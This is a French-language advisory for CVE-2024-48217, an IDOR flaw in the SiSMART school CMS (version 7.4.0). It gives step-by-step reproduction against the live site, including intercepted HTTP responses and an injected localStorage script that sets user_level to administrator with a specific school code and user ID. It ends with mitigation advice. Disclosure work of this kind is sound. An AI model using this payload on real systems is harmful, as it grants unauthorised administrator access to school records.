CVE-2024-48217 Vulnérabilité SiSMART

CVE attribuée : CVE-2024-48217 mitre.org nvd.nist.org tenable.com

Date :

5 septembre 2024

Auteur :

Ajriel Rizqy Maulana

Lien du logiciel :

Version :

7.4.0

Vulnérabilité :

IDOR - Dans le stockage de session IDOR signifie Insecure Direct Object Reference, une vulnérabilité qui relève de la catégorie des contrôles d'accès brisés. En résumé, cette vulnérabilité survient lorsqu'une application utilise une entrée fournie par l'utilisateur pour accéder directement à un objet. En exploitant la vulnérabilité de référence directe non sécurisée à un objet, il est possible d'obtenir une escalade de privilèges horizontale et, dans certains cas, elle peut également conduire à une escalade de privilèges verticale.

Composants affectés :

https://cms.sismart.id/sekolah/ Paramètre sekolah_kode dans le stockage local. Paramètre user_id dans le stockage local. Paramètre user_level dans le stockage local.

Description :

Contrairement aux IDOR classiques, les IDOR avec stockage de session sont de nature différente car ils n'effectuent pas toujours de modifications permanentes, mais la gravité reste la même.

Étapes pour reproduire :

Étape 1 - Visitez http://cms.sismart.id
Étape 2 - Interceptez la réponse HTTP :

Réponse HTTP non modifiée :

HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script></body></html>

Étape 3 - Ajoutez un script pour modifier le stockage local et rediriger vers /sekolah :
- Définissez sekolah_kode sur le code d'école souhaité.
- Définissez user_id sur l'ID utilisateur de l'administrateur souhaité.
- Définissez user_level sur administrator.
- Définissez id_token sur undefined.
- Modifiez la réponse et définissez tout ce qui précède avec ce script JavaScript :
```
<script>
  localStorage.setItem('sekolah_kode', 'school_id');
  localStorage.setItem('user_id', '0000');
  localStorage.setItem('user_level', 'role (ex:administrator)');
  localStorage.setItem('id_token', 'undefined');
  window.location.href = '/sekolah';
</script>
```

Réponse HTTP modifiée :

HTTP/2 200 OK
Date: Fri, 01 Nov 2024 11:44:22 GMT
Content-Type: text/html
Last-Modified: Mon, 01 May 2023 02:36:30 GMT
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJnz9T9%2FG1GNLgvfWtpZFaY10aFkzyrkTUNVdK34tYTcoWnGvxnG7y9lQi%2BxdFQ%2Bd4jjab38wLGtsgIlOxaBbo2TvjTKA6newy7qBGD8jQKTwH9xSM9PVgmnNdHodgx0ew%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
Cf-Ray: 8dbba1ea4a99658f-SIN
Alt-Svc: h3=":443"; ma=86400
Server-Timing: cfL4;desc="?proto=TCP&rtt=32972&sent=758&recv=340&lost=0&retrans=102&sent_bytes=994646&recv_bytes=2733&delivery_rate=2462437&cwnd=257&unsent_bytes=0&cid=706fd40c05668fc1&ts=24672&x=0"

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"><link href="https://fonts.googleapis.com/css?family=Poppins:300,400,500,600,700|Roboto:300,400,500,600,700|Material+Icons" rel="stylesheet"><link rel="stylesheet" href="https://unicons.iconscout.com/release/v4.0.0/css/line.css"/><title>Sismart | Login</title><script defer="defer" type="module" src="/js/chunk-vendors.fd6f44e8.js"></script><script defer="defer" type="module" src="/js/app.741d68f7.js"></script><link href="/css/chunk-vendors.582cc66a.css" rel="stylesheet"><link href="/css/app.d5b7c7c2.css" rel="stylesheet"><script defer="defer" src="/js/chunk-vendors-legacy.fd6f44e8.js" nomodule></script><script defer="defer" src="/js/app-legacy.350b7c53.js" nomodule></script></head><body style="--kt-toolbar-height:55px;--kt-toolbar-height-tablet-and-mobile:55px"><noscript><strong>We're sorry but metronic-vue doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app" class="d-flex flex-column flex-root"></div><script src="https://requirejs.org/docs/release/2.1.15/minified/require.js"></script><script src="https://rawgit.com/ironwallaby/delaunay/master/delaunay.js"></script>
<script>
       localStorage.setItem('sekolah_kode', 'smkbnif');
    localStorage.setItem('user_id', '3301');
    localStorage.setItem('user_level', 'administrator');
    localStorage.setItem('id_token', 'undefined');
     window.location.href = '/sekolah';
</script>

</body></html>

Étape 4 - Transmettez la réponse

Preuve de concept :

Atténuation :

Une vérification d'accès doit être effectuée, en s'assurant de la validation de tous les objets référencés. De plus, des contrôles d'authentification et d'autorisation doivent être mis en place. En outre, les identifiants doivent être convertis en formats alphanumériques pour éviter qu'ils ne soient devinables, par exemple en utilisant un uid.

CVE-2024-48217

Populaires